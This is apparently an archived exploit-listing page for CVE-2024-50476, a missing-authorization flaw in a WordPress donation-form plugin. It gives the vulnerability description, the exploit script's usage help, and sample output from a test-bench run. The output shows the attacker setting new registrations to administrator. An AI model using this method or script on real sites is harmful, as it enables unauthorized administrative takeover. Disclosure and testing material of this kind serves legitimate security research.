Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2024-50476 PoC — WordPress plugin GRÜN spendino Spendenformular 安全漏洞

Source
Associated Vulnerability
Title:WordPress plugin GRÜN spendino Spendenformular 安全漏洞 (CVE-2024-50476)
Description:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress plugin GRÜN spendino Spendenformular 1.0.1版本及之前版本存在安全漏洞,该漏洞源于缺少授权。攻击者利用该漏洞可以提升权限。
Description
GRÜN spendino Spendenformular <= 1.0.1 - Unauthenticated Arbitrary Options Update
Readme
# CVE-2024-50476
GRÜN spendino Spendenformular &lt;= 1.0.1 - Unauthenticated Arbitrary Options Update

# Description:
The GRÜN spendino Spendenformular – Mehr Spenden! Weniger Arbeit! plugin for WordPress is vulnerable to unauthorized modification of data that can lead to privilege escalation due to a missing capability check in all versions up to, and including, 1.0.1. This makes it possible for unauthenticated attackers to update arbitrary options on the WordPress site. This can be leveraged to update the default role for registration to administrator and enable user registration for attackers to gain administrative user access to a vulnerable site.


```
Published: 2024-10-25 00:00:00
CVE: CVE-2024-50476
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS Score: 9.8
Slugs: spendino
```

How to use
---

```
$ python3 CVE-2024-50476.py -h
usage: CVE-2024-50476.py [-h] -u URL [-f FIX]

CVE-2024-50476 | GRÜN spendino Spendenformular <= 1.0.1 - Unauthenticated Arbitrary Options Update The GRÜN spendino Spendenformular – Mehr Spenden! Weniger Arbeit! plugin for WordPress is vulnerable to unauthorized modification of data that
can lead to privilege escalation due to a missing capability check in all versions up to, and including, 1.0.1. This makes it possible for unauthenticated attackers to update arbitrary options on the WordPress site. This can be leveraged to
update the default role for registration to administrator and enable user registration for attackers to gain administrative user access to a vulnerable site.

options:
  -h, --help         show this help message and exit
  -u URL, --url URL  Website URL
  -f FIX, --fix FIX  Reset after Exploit
```


POC
---

```
$ python3 CVE-2024-50476.py -u https://wpscan-vulnerability-test-bench.ddev.site
Vulnerability check: https://wpscan-vulnerability-test-bench.ddev.site
Option set successfully: https://wpscan-vulnerability-test-bench.ddev.site/wp-admin/admin-ajax.php
You can now register a user as an admin user. Remember to run --fix yes after you have registered to prevent others exploiting the site.
Option set successfully: https://wpscan-vulnerability-test-bench.ddev.site/wp-admin/admin-ajax.php
You can now register a user as an admin user. Remember to run --fix yes after you have registered to prevent others exploiting the site.
```
File Snapshot

[4.0K] /data/pocs/6a5115012aa1473374f2536440804aac91fbba0d ├── [4.2K] CVE-2024-50476.py └── [2.3K] README.md 0 directories, 2 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.